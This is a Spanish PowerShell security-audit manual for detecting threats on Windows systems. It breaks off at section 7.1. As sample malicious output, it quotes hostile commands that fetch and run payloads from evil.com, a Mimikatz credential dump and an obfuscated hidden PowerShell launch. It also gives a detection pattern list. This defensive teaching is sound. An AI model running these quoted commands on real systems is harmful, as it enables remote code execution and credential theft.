

Manual de Auditoría de Seguridad con PowerShell para Empresas

Guía Práctica

*Comandos esenciales para detección de amenazas,
análisis forense y respuesta a incidentes*

Versión 1.0 – Noviembre, 2025

Auditoría de Seguridad Empresarial

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Contenido

Tabla de Contenidos	¡Error! Marcador no definido.
1. Introducción.....	4
1.1 ¿Qué son las auditorías de seguridad con PowerShell?	4
1.2 ¿Por qué son importantes?	4
1.3 ¿Cuándo usarlas?	4
2. Requisitos Previos	6
2.1 Requisitos del Sistema.....	6
Verificar Versión de PowerShell Instalada	6
2.2 Cómo Ejecutar PowerShell como Administrador.....	6
2.3 Políticas de Ejecución de Scripts	7
3. Comandos de Análisis de Sistema de Archivos.....	8
3.1 Detección de Archivos Modificados Recientemente	8
3.2 Búsqueda de Archivos Ocultos.....	9
3.3 Verificación de Integridad de Archivos (Hash)	10
4. Comandos de Análisis de Red	12
4.1 Análisis de Conexiones de Red Activas.....	12
4.2 Detección de Conexiones Sospechosas (PowerShell Avanzado).....	13
4.3 Análisis de Caché DNS.....	15
5. Comandos de Gestión de Procesos	17
5.1 Análisis de Procesos en Ejecución	17
5.2 Detección de Procesos sin Ruta (Altamente Sospechoso)	18
5.3 Análisis de Línea de Comandos de Procesos.....	19
5.4 Análisis de Servicios en Ejecución	21
6. Comandos de Análisis de Logs y Eventos.....	23
6.1 Detección de Intentos de Inicio de Sesión Fallidos	23
6.2 Análisis de Código PowerShell Ejecutado (ScriptBlock Logging).....	24
6.3 Búsqueda de Patrones Maliciosos en Logs de PowerShell	26
7. Comandos de Seguridad y Configuración	28
7.1 Análisis de Cuentas de Usuario Locales.....	28
7.2 Verificación de Miembros del Grupo Administradores	29
7.3 Análisis de Claves de Registro de Inicio Automático (Persistencia).....	30

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

8. Mejores Prácticas para Auditorías de Seguridad	32
Plantilla de Reporte de Auditoría.....	33
9. Solución de Problemas Comunes.....	35
10. Glosario de Términos Técnicos	38

1. Introducción

1.1 ¿Qué son las auditorías de seguridad con PowerShell?

Las auditorías de seguridad con PowerShell son procedimientos sistemáticos que permiten examinar, analizar y documentar el estado de seguridad de sistemas Windows utilizando comandos de PowerShell y Windows.

PowerShell es una herramienta de línea de comandos y lenguaje de scripting desarrollada por Microsoft, que proporciona acceso profundo a la configuración y estado del sistema operativo Windows.

PARA PRINCIPIANTES: Si eres nuevo en PowerShell, no te preocupes. Este manual está diseñado para guiarte paso a paso, con explicaciones simples y ejemplos prácticos. No necesitas ser un experto en informática.

1.2 ¿Por qué son importantes?

Las auditorías de seguridad son fundamentales para:

- **Detección de amenazas:** Identificar malware, virus, backdoors y actividad maliciosa en el sistema.
- **Prevención de brechas de seguridad:** Detectar vulnerabilidades antes de que sean explotadas por atacantes.
- **Cumplimiento normativo:** Satisfacer requisitos de regulaciones como GDPR, PCI-DSS, HIPAA, ISO 27001.
- **Respuesta a incidentes:** Recopilar evidencia forense cuando se sospecha de un compromiso de seguridad.
- **Monitoreo continuo:** Establecer una línea base de seguridad y detectar desviaciones.
- **Documentación:** Generar reportes para auditorías internas, externas o investigaciones legales.

1.3 ¿Cuándo usarlas?

Las auditorías de seguridad con PowerShell son útiles en diversos escenarios:

- **[CRITICO]** Respuesta a incidentes de seguridad: Cuando se detecta actividad sospechosa o un posible compromiso del sistema.
- **[MEDIO]** Auditorías programadas regulares: Revisiones mensuales o trimestrales del estado de seguridad de la organización.
- **[BAJO]** Verificación post-instalación: Después de instalar nuevo software o aplicar actualizaciones críticas.

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

- **Investigaciones forenses:** Análisis detallado de sistemas comprometidos para entender el alcance del ataque.
- **Hardening de sistemas:** Verificar que las configuraciones de seguridad cumplan con las políticas corporativas.
- **[ALTO] Preparación para auditorías externas:** Recopilación de evidencia para auditorías de cumplimiento normativo.

[!] IMPORTANTE: Muchos comandos de este manual requieren privilegios de administrador y pueden generar grandes volúmenes de datos. Asegúrate de tener autorización antes de ejecutarlos en sistemas de producción.

2. Requisitos Previos

2.1 Requisitos del Sistema

- **Sistema Operativo:** Windows 10/11 (cualquier edición) o Windows Server 2016/2019/2022
- **PowerShell:** Versión 5.1 o superior (incluida en Windows 10/11 por defecto)
- **Privilegios:** Cuenta de usuario con derechos de administrador local
- **Espacio en disco:** Mínimo 500 MB libres para almacenar logs y reportes
- **Conocimientos:** Básicos de Windows y navegación por carpetas

Verificar Versión de PowerShell Instalada

Para verificar la versión de PowerShell instalada en tu sistema:

```
$PSVersionTable.PSVersion
```

2.2 Cómo Ejecutar PowerShell como Administrador

IMPORTANTE: La mayoría de los comandos de auditoría de seguridad requieren privilegios elevados (administrador) para acceder a información crítica del sistema.

Método 1: Desde el Menú Inicio

1. Presiona la tecla Windows o haz clic en el botón Inicio
2. Escribe 'PowerShell' en el cuadro de búsqueda
3. Haz clic derecho en 'Windows PowerShell'
4. Selecciona 'Ejecutar como administrador'
5. Haz clic en 'Sí' cuando aparezca el control de cuentas de usuario (UAC)

Método 2: Desde el Explorador de Archivos

1. Abre el Explorador de Archivos
2. Navega a: C:\Windows\System32\WindowsPowerShell\v1.0
3. Busca el archivo 'powershell.exe'
4. Haz clic derecho y selecciona 'Ejecutar como administrador'

VERIFICACIÓN: Sabrás que PowerShell se ejecuta como administrador si el título de la ventana dice 'Administrador: Windows PowerShell' y el prompt muestra 'PS C:\Windows\system32>'.

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

2.3 Políticas de Ejecución de Scripts

Las políticas de ejecución son un mecanismo de seguridad que controla qué scripts pueden ejecutarse en PowerShell.

Para verificar la política actual:

```
Get-ExecutionPolicy
```

Niveles de políticas:

- **[CRITICO] Restricted:** No se ejecutan scripts (configuración por defecto en algunos sistemas)
- **[BAJO] RemoteSigned:** Scripts locales se ejecutan sin restricción, scripts remotos requieren firma digital (RECOMENDADO)
- **[ALTO] Unrestricted:** Todos los scripts se ejecutan sin restricción (NO RECOMENDADO para seguridad)

NOTA: Los comandos individuales de este manual NO requieren cambiar la política de ejecución. Solo necesitas hacerlo si deseas ejecutar scripts (.ps1) guardados en archivos.

3. Comandos de Análisis de Sistema de Archivos

Esta sección cubre comandos para detectar archivos modificados, ocultos o comprometidos. Son fundamentales para detectar ransomware, malware y modificaciones no autorizadas.

3.1 Detección de Archivos Modificados Recientemente

REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Este comando busca en todo el disco C:\ (o en la ruta especificada) todos los archivos que han sido modificados en las últimas 24 horas. Es especialmente útil para detectar actividad de ransomware, que modifica masivamente archivos en poco tiempo, o para identificar cambios sospechosos después de un incidente de seguridad.

Comando:

```
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue |  
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1)} |  
Select-Object FullName, LastWriteTime, Length
```

Ejemplos de Salida:

- **Normal: C:\Users\jdoe\Documents\Reporte.xlsx**
→ Archivo legítimo modificado por usuario
- **Crítico: C:\Windows\System32\drivers\malware.sys**
→ Driver sospechoso en carpeta del sistema
- **Crítico: C:\inetpub\wwwroot\shell.aspx**
→ Posible webshell en servidor IIS

Casos de Uso en Auditorías de Seguridad:

- Detectar actividad de ransomware que encripta archivos masivamente
- Identificar webshells cargados en servidores web comprometidos
- Rastrear modificaciones no autorizadas en archivos del sistema
- Análisis forense post-incidente para establecer línea temporal

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Puede tomar mucho tiempo en discos grandes (30-120 minutos para disco completo)
- Genera alto uso de CPU y disco durante la ejecución
- Requiere privilegios de administrador para acceso completo al sistema

Cómo Exportar los Resultados:

```
Get-ChildItem -Path C:\Users -Recurse -Force -ErrorAction SilentlyContinue |  
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1)} |  
Select-Object FullName, LastWriteTime, Length |  
Export-Csv 'C:\Auditoria\archivos_modificados.csv' -NoTypeInformation
```

3.2 Búsqueda de Archivos Ocultos

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Busca archivos y carpetas con el atributo 'oculto' activado. El malware frecuentemente oculta sus archivos para evitar detección por usuarios no técnicos. Este comando revela todos los archivos ocultos, permitiendo identificar elementos sospechosos.

Comando:

```
Get-ChildItem -Path C:\Users -Force -Recurse -ErrorAction SilentlyContinue |  
Where-Object { $_.Attributes -match 'Hidden' } |  
Select-Object FullName, Attributes, Length, LastWriteTime
```

Ejemplos de Salida:

- **Normal: C:\Users\jdoe\Desktop\desktop.ini**
→ Archivo de sistema legítimo
- **[!] Sospechoso: C:\Users\jdoe\AppData\.malware_folder**
→ Carpeta oculta con nombre sospechoso
- **Crítico: C:\ProgramData\.backdoor.exe**
→ Ejecutable oculto en ubicación sospechosa

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Casos de Uso en Auditorías de Seguridad:

- Detectar malware que se oculta con atributo hidden
- Buscar backdoors o herramientas de hackers en directorios de usuario
- Identificar archivos de configuración ocultos modificados maliciosamente
- Threat hunting: buscar persistencia en carpetas ocultas

[!] Advertencias y Consideraciones:

- Muchos archivos legítimos de Windows están ocultos (desktop.ini, Thumbs.db)
- Enfocarse en archivos .exe, .dll, .ps1 ocultos en ubicaciones inusuales
- Puede generar muchos resultados, filtrar por extensiones sospechosas

Cómo Exportar los Resultados:

```
Get-ChildItem -Path C:\Users -Force -Recurse -ErrorAction SilentlyContinue |  
Where-Object { $_.Attributes -match 'Hidden' } |  
Export-Csv 'C:\Auditoria\archivos_ocultos.csv' -NoTypeInfo
```

3.3 Verificación de Integridad de Archivos (Hash)

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Calcula el hash criptográfico (huella digital única) de un archivo. Es fundamental para verificar si archivos críticos del sistema han sido modificados. Al comparar el hash actual con un hash conocido bueno (baseline), podemos detectar modificaciones maliciosas como rootkits o alteraciones en archivos de configuración.

Comando:

```
Get-FileHash -Path C:\Windows\System32\drivers\etc\hosts -Algorithm SHA256
```

Ejemplos de Salida:

- **Íntegro: Archivo: hosts | Hash: 3C86EA0F...**
→ **Coincide con baseline**
- **Comprometido: Archivo: hosts | Hash: 8D7F9A2B...**
→ **NO coincide con baseline**

Casos de Uso en Auditorías de Seguridad:

- Detectar modificaciones en archivo hosts (redirecciones DNS maliciosas)
- Verificar integridad de DLLs y ejecutables del sistema
- Crear baseline de archivos críticos para monitoreo continuo
- Validar que archivos descargados no han sido alterados
- Comparar hashes con VirusTotal para identificar malware conocido

[!] Advertencias y Consideraciones:

- Archivos grandes (>1GB) pueden tardar en procesarse
- Mantener base de datos de hashes conocidos buenos actualizada
- SHA256 es el algoritmo recomendado (MD5 y SHA1 son inseguros)

Cómo Exportar los Resultados:

```
Get-FileHash -Path C:\Windows\System32\*.dll -Algorithm SHA256 |  
Export-Csv 'C:\Baseline\hashes_sistema.csv' -NoTypeInformation
```

4. Comandos de Análisis de Red

Los comandos de red permiten identificar conexiones sospechosas, backdoors comunicándose con servidores de comando y control (C2), y detectar exfiltración de datos.

4.1 Análisis de Conexiones de Red Activas

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Muestra todas las conexiones de red activas (TCP) y puertos en escucha (UDP), junto con el identificador del proceso (PID) responsable de cada conexión. Es esencial para detectar comunicaciones no autorizadas, backdoors, y actividad de malware que se comunica con servidores externos.

Comando:

```
netstat -ano
```

Ejemplos de Salida:

- **Normal:** TCP 10.0.0.15:62341 → 40.124.36.182:443 [ESTABLISHED] PID:4532
→ Navegador a HTTPS legítimo
- **[!] Investigar:** TCP 10.0.0.15:62345 → 203.0.113.42:8080 [ESTABLISHED] PID:5612
→ PowerShell a puerto sospechoso
- **Crítico:** TCP 10.0.0.15:62346 → 198.51.100.88:4444 [ESTABLISHED] PID:7788
→ Conexión a puerto Metasploit
- **[!] Hardening:** TCP 0.0.0.0:3389 → 0.0.0.0:0 [LISTENING] PID:1756
→ RDP abierto a todo (riesgo)

Casos de Uso en Auditorías de Seguridad:

- Detectar backdoors y RATs comunicándose con servidores C2
- Identificar conexiones a puertos no estándar (4444, 8080, 31337)
- Verificar qué procesos tienen comunicación de red activa
- Detectar beaconing (comunicación periódica maliciosa)
- Identificar servicios expuestos innecesariamente (RDP, SMB)

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Conexiones HTTPS (puerto 443) legítimas son muy comunes - enfocarse en puertos raros
- Verificar PIDs sospechosos con: tasklist | findstr <PID>
- Conexiones locales (127.0.0.1) generalmente son benignas
- Estados TIME_WAIT son normales después de conexiones cerradas

Cómo Exportar los Resultados:

```
netstat -ano > C:\Auditoria\conexiones_red.txt

# 0 filtrar solo conexiones establecidas:
netstat -ano | findstr ESTABLISHED > C:\Auditoria\conexiones_activas.txt
```

4.2 Detección de Conexiones Sospechosas (PowerShell Avanzado)

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Versión avanzada que filtra automáticamente conexiones a puertos comunes (HTTP:80, HTTPS:443, DNS:53) y muestra solo conexiones a puertos inusuales. Incluye el nombre y ruta del proceso, facilitando la identificación rápida de actividad sospechosa.

Comando:

```
Get-NetTCPConnection -State Established |
Where-Object { $_.RemotePort -notin @(80, 443, 53) } |
ForEach-Object {
    $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        RemoteIP=$_.RemoteAddress;
        RemotePort=$_.RemotePort;
        ProcessName=$p.Name;
        ProcessPath=$p.Path
    }
} | Format-Table -AutoSize
```

Ejemplos de Salida:

- **[!]** Verificar: RemoteIP: 192.0.2.50 | Puerto: 8080 | Proceso: chrome.exe
→ Navegador a proxy web
- **Crítico:** RemoteIP: 198.51.100.88 | Puerto: 4444 | Proceso: powershell.exe
→ PowerShell a puerto C2
- **Crítico:** RemoteIP: 203.0.113.42 | Puerto: 31337 | Proceso: svchost.exe
→ svchost a puerto hacker

Casos de Uso en Auditorías de Seguridad:

- Filtrado automático de tráfico legítimo para enfocarse en lo sospechoso
- Detectar malware usando puertos no estándar para C2
- Identificar procesos del sistema con comportamiento de red anómalo
- Threat hunting: buscar patrones de exfiltración de datos

[!] Advertencias y Consideraciones:

- Agregar puertos corporativos legítimos a la lista de exclusión (VPN, apps internas)
- Procesos sin Path (null) son altamente sospechosos - investigar inmediatamente
- Verificar firma digital de ejecutables: Get-AuthenticodeSignature

Cómo Exportar los Resultados:

```
Get-NetTCPConnection -State Established |  
Where-Object { $_.RemotePort -notin @(80, 443, 53) } |  
... |  
Export-Csv 'C:\Auditoria\conexiones_sospechosas.csv' -NoTypeInformation
```

4.3 Análisis de Caché DNS

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Examina el caché DNS local para ver qué dominios han sido resueltos recientemente por el sistema. Útil para detectar comunicación con dominios maliciosos, algoritmos de generación de dominios (DGA) usados por malware, y túneles DNS para exfiltración de datos.

Comando:

```
Get-DnsClientCache | Select-Object Name, Data, TimeToLive
```

Ejemplos de Salida:

- **Normal: Dominio: www.microsoft.com**
→ Dominio legítimo conocido
- **[!] DGA sospechoso: Dominio: xk3jsd8fj2k.xyz**
→ Alta entropía, dominio aleatorio
- **Crítico: Dominio: evil-c2-server.com**
→ Coincide con lista de IoC

Casos de Uso en Auditorías de Seguridad:

- Detectar dominios maliciosos en listas de threat intelligence
- Identificar patrones de DGA (Domain Generation Algorithms)
- Detectar DNS tunneling para exfiltración de datos
- Reconstruir actividad de red durante análisis forense
- Verificar si sistema contactó infraestructura de atacantes conocida

[!] Advertencias y Consideraciones:

- Caché DNS se limpia al reiniciar o ejecutar: `ipconfig /flushdns`
- Dominios con TTL muy bajo pueden indicar fast-flux (técnica de evasión)
- Comparar con listas públicas: URLhaus, PhishTank, AlienVault OTX

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Cómo Exportar los Resultados:

```
Get-DnsClientCache |  
Select-Object Name, Data, TimeToLive |  
Export-Csv 'C:\Auditoria\cache_dns.csv' -NoTypeInfo
```


5. Comandos de Gestión de Procesos

Los procesos en ejecución revelan qué software está activo en el sistema. Analizar procesos permite detectar malware, cryptominers, keyloggers y herramientas de hacking.

5.1 Análisis de Procesos en Ejecución

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Lista todos los procesos activos con información detallada: consumo de memoria, uso de CPU, ubicación del ejecutable, y fabricante. Permite identificar procesos con alto consumo de recursos (posibles cryptominers), procesos sin firma digital, o ejecutables en ubicaciones sospechosas.

Comando:

```
Get-Process |  
Select-Object Name, Id, Path, Company, CPU, WorkingSet, StartTime |  
Sort-Object WorkingSet -Descending |  
Format-Table -AutoSize
```

Ejemplos de Salida:

- **Normal: chrome.exe | PID:4532 | Path: C:\Program Files\Google\Chrome | Company: Google**
→ Navegador legítimo
- **Normal: svchost.exe | PID:7788 | Path: C:\Windows\System32 | Company: Microsoft**
→ Proceso de sistema legítimo
- **Cryptominer: miner.exe | PID:9932 | Path: C:\Users\jdoe\AppData\Temp | Company: null**
→ Ejecutable sin firma en carpeta temporal
- **Malware: svch0st.exe | PID:5521 | Path: C:\ProgramData | Company: null**
→ Nombre similar a svchost (typosquatting)

Casos de Uso en Auditorías de Seguridad:

- Detectar procesos con alto consumo de CPU/RAM sin justificación (cryptominers)
- Identificar procesos ejecutándose desde carpetas temporales o AppData
- Buscar procesos sin Company o Path (altamente sospechoso)
- Detectar typosquatting: svch0st.exe en lugar de svchost.exe
- Baseline: comparar procesos actuales vs lista de procesos autorizados

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Procesos del sistema (System, Idle) no tienen Path - es normal
- WorkingSet muestra uso de memoria RAM en bytes
- Alto CPU en procesos de sistema puede ser legítimo (Windows Update, antivirus)
- Verificar firma digital con: Get-AuthenticodeSignature

Cómo Exportar los Resultados:

```
Get-Process |  
Select-Object Name, Id, Path, Company, CPU, WorkingSet |  
Export-Csv 'C:\Auditoria\procesos_activos.csv' -NoTypeInformation
```

5.2 Detección de Procesos sin Ruta (Altamente Sospechoso)

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Identifica procesos que no tienen ruta de archivo asociada. Esto es EXTREMADAMENTE sospechoso y generalmente indica procesos inyectados, rootkits, malware fileless (sin archivo), o técnicas de process hollowing. Excepciones legítimas: Idle, System, Registry.

Comando:

```
Get-Process |  
Where-Object { $_.Path -eq $null -and $_.Name -ne 'Idle' -and $_.Name -ne 'System' } |  
Select-Object Name, Id, SessionId
```

Ejemplos de Salida:

- **Normal (excluidos): Proceso: Idle, System, Registry**
→ Procesos kernel legítimos
- **Crítico: Proceso: malware_injected | PID: 8844**
→ Sin Path - proceso inyectado

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Casos de Uso en Auditorías de Seguridad:

- Detectar process injection (código malicioso inyectado en proceso legítimo)
- Identificar process hollowing (proceso creado vacío y rellenado con malware)
- Detectar fileless malware que se ejecuta solo en memoria
- Buscar rootkits que ocultan su presencia en disco

[!] Advertencias y Consideraciones:

- CUALQUIER resultado (excepto Idle/System/Registry) requiere investigación INMEDIATA
- Capturar memoria del proceso con herramientas forenses (Procdump, WinDbg)
- No terminar proceso antes de capturar evidencia forense
- Verificar módulos cargados: Get-Process -Id <PID> | Select -ExpandProperty Modules

Cómo Exportar los Resultados:

```
Get-Process |  
Where-Object { $_.Path -eq $null -and $_.Name -notin @('Idle','System','Registry') } |  
Export-Csv 'C:\Auditoria\procesos_sin_path_CRITICO.csv' -NoTypeInformation
```

5.3 Análisis de Línea de Comandos de Procesos

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Obtiene la línea de comandos completa con la que se ejecutó cada proceso, incluyendo todos los argumentos y parámetros. Fundamental para detectar comandos ofuscados, codificados en Base64, o técnicas de Living Off the Land (LOLBAS) donde herramientas legítimas se usan maliciosamente.

Comando:

```
Get-WmiObject Win32_Process |  
Select-Object ProcessId, Name, CommandLine |  
Sort-Object Name |  
Format-Table -AutoSize
```

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Ejemplos de Salida:

- **Normal: chrome.exe --profile-directory='Default'**
→ Navegador con parámetros normales
- **Crítico: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc <base64>**
→ Comando ofuscado y oculto
- **Crítico: cmd.exe /c certutil -urlcache -f http://evil.com/payload.exe**
→ Descarga de payload
- **Crítico: rundll32.exe javascript:"..\mshtml,RunHTMLApplication"**
→ LOLBAS abuse

Casos de Uso en Auditorías de Seguridad:

- Detectar comandos PowerShell codificados en Base64 (-EncodedCommand, -enc)
- Identificar uso malicioso de certutil para descargar malware
- Detectar bypass de políticas de seguridad (-ExecutionPolicy Bypass)
- Buscar ofuscación: múltiples niveles de comillas, concatenación extraña
- Identificar técnicas LOLBAS: rundll32, regsvr32, mshta, wmic

[!] Advertencias y Consideraciones:

- Comandos muy largos (>8000 caracteres) son sospechosos
- Buscar keywords: -enc, IEX, DownloadString, Invoke-Expression, FromBase64String
- Decodificar Base64: [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...'))
- Correlacionar con proceso padre para detectar cadenas de ataque

Cómo Exportar los Resultados:

```
Get-WmiObject Win32_Process |  
Select-Object ProcessId, Name, CommandLine |  
Export-Csv 'C:\Auditoria\linea_comandos_procesos.csv' -NoTypeInformation
```

5.4 Análisis de Servicios en Ejecución

USUARIO NORMAL EXPORTABLE

¿Qué hace este comando?

Lista todos los servicios de Windows actualmente en ejecución. Los servicios son programas que se ejecutan en segundo plano. Malware frecuentemente instala servicios para lograr persistencia (ejecutarse automáticamente al iniciar el sistema).

Comando:

```
Get-Service |  
Where-Object {$_.Status -eq 'Running'} |  
Select-Object Name, DisplayName, Status
```

Ejemplos de Salida:

- **Normal: wuauserv | Windows Update | Running**
→ Servicio legítimo de Windows
- **[!] Investigar: MalwareService | Windows Service | Running**
→ Nombre genérico sospechoso

Casos de Uso en Auditorías de Seguridad:

- Detectar servicios maliciosos instalados para persistencia
- Identificar servicios con nombres genéricos ('Windows Service', 'System Service')
- Baseline: comparar servicios actuales vs lista autorizada
- Verificar servicios que no deberían estar en ejecución (Telnet, FTP)
- Hardening: deshabilitar servicios innecesarios

[!] Advertencias y Consideraciones:

- Obtener más info con: `Get-CimInstance Win32_Service | Select Name,PathName,StartName`
- Verificar Path del ejecutable del servicio (sospechoso si está en %TEMP%)
- Monitorear Event ID 7045 (nuevo servicio instalado) en Security log

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

Cómo Exportar los Resultados:

```
Get-Service |  
Where-Object {$_.Status -eq 'Running'} |  
Export-Csv 'C:\Auditoria\servicios_activos.csv' -NoTypeInfo
```

6. Comandos de Análisis de Logs y Eventos

Los logs de eventos de Windows registran toda la actividad del sistema. Analizarlos permite detectar intentos de intrusión, ataques de fuerza bruta, ejecución de código malicioso y reconstruir la secuencia de un incidente de seguridad.

6.1 Detección de Intentos de Inicio de Sesión Fallidos

REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Identifica todos los intentos fallidos de inicio de sesión (Event ID 4625). Múltiples intentos fallidos indican posibles ataques de fuerza bruta, password spraying o credential stuffing. Fundamental para detectar intentos de acceso no autorizado.

Comando:

```
Get-WinEvent -LogName Security |  
Where-Object { $_.Id -eq 4625 } |  
Select-Object TimeCreated,  
@{Name='Username';Expression={$_.Properties[5].Value}},  
@{Name='SourceIP';Expression={$_.Properties[19].Value}} |  
Format-Table -AutoSize
```

Ejemplos de Salida:

- **Normal: 2025-11-02 14:23:45 | Usuario: Administrator | IP: 192.168.1.100**
→ 1-2 intentos ocasionales
- **Brute Force: 2025-11-02 14:23:45-50 | Usuario: Administrator | IP: 203.0.113.42**
→ 15 intentos en 5 minutos
- **Password Spraying: 2025-11-02 14:25:00 | Usuarios: user1, user2, user3... | IP: 198.51.100.88**
→ Múltiples usuarios, misma IP

Casos de Uso en Auditorías de Seguridad:

- Detectar ataques de fuerza bruta contra cuentas de administrador
- Identificar password spraying (mismo password, múltiples cuentas)
- Detectar credential stuffing (pares usuario/password robados)
- Identificar IPs maliciosas intentando acceso repetidamente
- Correlacionar con Event ID 4740 (account lockout)

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Usuarios olvidando su password generan intentos legítimos - buscar patrones
- Alertar si: >5 intentos en 5 minutos (mismo usuario) o >3 usuarios desde misma IP
- Verificar Sub-Status Code para razón del fallo: 0xC000006A = password incorrecto
- Requiere Audit Policy 'Audit Logon' habilitada

Cómo Exportar los Resultados:

```
Get-WinEvent -LogName Security |  
Where-Object { $_.Id -eq 4625 } |  
... |  
Export-Csv 'C:\Auditoria\intentos_login_fallidos.csv' -NoTypeInfoation
```

6.2 Análisis de Código PowerShell Ejecutado (ScriptBlock Logging)

REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Event ID 4104 registra todo el código PowerShell ejecutado en el sistema, incluso código desobfuscado automáticamente. Es la herramienta MÁS PODEROSA para detectar malware PowerShell, scripts maliciosos y técnicas de ataque avanzadas.

Comando:

```
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |  
Where-Object { $_.Id -eq 4104 } |  
Select-Object TimeCreated, Message -First 20
```


Ejemplos de Salida:

- **Normal: Get-Process | Select Name, CPU**
→ Comando administrativo legítimo
- **Crítico: IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')**
→ Descarga y ejecución remota
- **Crítico: Invoke-Mimikatz -DumpCreds**
→ Extracción de credenciales
- **Crítico: -EncodedCommand <base64_string>**
→ Comando ofuscado en Base64

Casos de Uso en Auditorías de Seguridad:

- Detectar ejecución de frameworks de ataque (Mimikatz, Empire, PowerSploit)
- Identificar comandos codificados en Base64
- Buscar descargas de payloads (DownloadString, DownloadFile)
- Detectar Invoke-Expression (IEX) usado para ejecución dinámica
- Análisis forense: reconstruir acciones del atacante

[!] Advertencias y Consideraciones:

- Genera GRAN volumen de logs - planificar almacenamiento adecuado
- Requiere habilitar 'PowerShell Script Block Logging' vía GPO
- Buscar keywords: Mimikatz, IEX, DownloadString, Invoke-Expression, FromBase64String
- PowerShell desobfusca automáticamente - captura código real

Cómo Exportar los Resultados:

```
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |  
Where-Object { $_.Id -eq 4104 } |  
Export-Csv 'C:\Auditoria\powershell_scriptblock.csv' -NoTypeInformation
```

6.3 Búsqueda de Patrones Maliciosos en Logs de PowerShell

REQUIERE ADMINISTRADOR EXPORTABLE

¿Qué hace este comando?

Búsqueda automatizada de patrones de ataque conocidos en logs de PowerShell. Filtra miles de eventos para mostrar solo aquellos que contienen técnicas maliciosas comunes, ahorrando horas de análisis manual.

Comando:

```
$patterns = @('Invoke-Expression', 'IEX', 'DownloadString', 'EncodedCommand', '-enc')

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 1000 |
Where-Object {
    $msg=$_.Message;
    ($patterns | Where-Object { $msg -match $_ })
} |
Select-Object TimeCreated, Id, Message
```

Ejemplos de Salida:

- **Crítico: Patrón detectado: DownloadString en comando PowerShell**
→ Descarga remota de payload
- **Crítico: Patrón detectado: -enc en línea de comandos**
→ Comando codificado
- **[!] Investigar: Patrón detectado: IEX en script**
→ Ejecución dinámica de código

Casos de Uso en Auditorías de Seguridad:

- Threat hunting automatizado en volúmenes grandes de logs
- Detección rápida de Indicators of Compromise (IoCs)
- Triage inicial: identificar eventos de alta prioridad
- Integración con SIEM para alertas automáticas

Sammi De Blas Kalloub

Grado Medio de FP en Microsistemas Informáticos y Redes (SMIR)

Grado Superior en Administración de Sistemas y Redes, especialista en Ciberseguridad (ASIR)

[!] Advertencias y Consideraciones:

- Actualizar lista de patrones regularmente con nuevos IoCs
- Posibles falsos positivos - verificar contexto completo
- Ampliar patrones: Invoke-Mimikatz, Get-Credential, Invoke-Shellcode, etc.

Cómo Exportar los Resultados:

```
# (Mismo comando pero agregar al final:)  
| Export-Csv 'C:\Auditoria\patrones_maliciosos_detectados.csv' -NoTypeInformation
```

7. Comandos de Seguridad y Configuración

Estos comandos verifican la configuración de seguridad del sistema: cuentas de usuario, permisos de administrador, políticas de contraseñas y configuraciones críticas.

7.1 Análisis de Cuentas de Usuario Locales

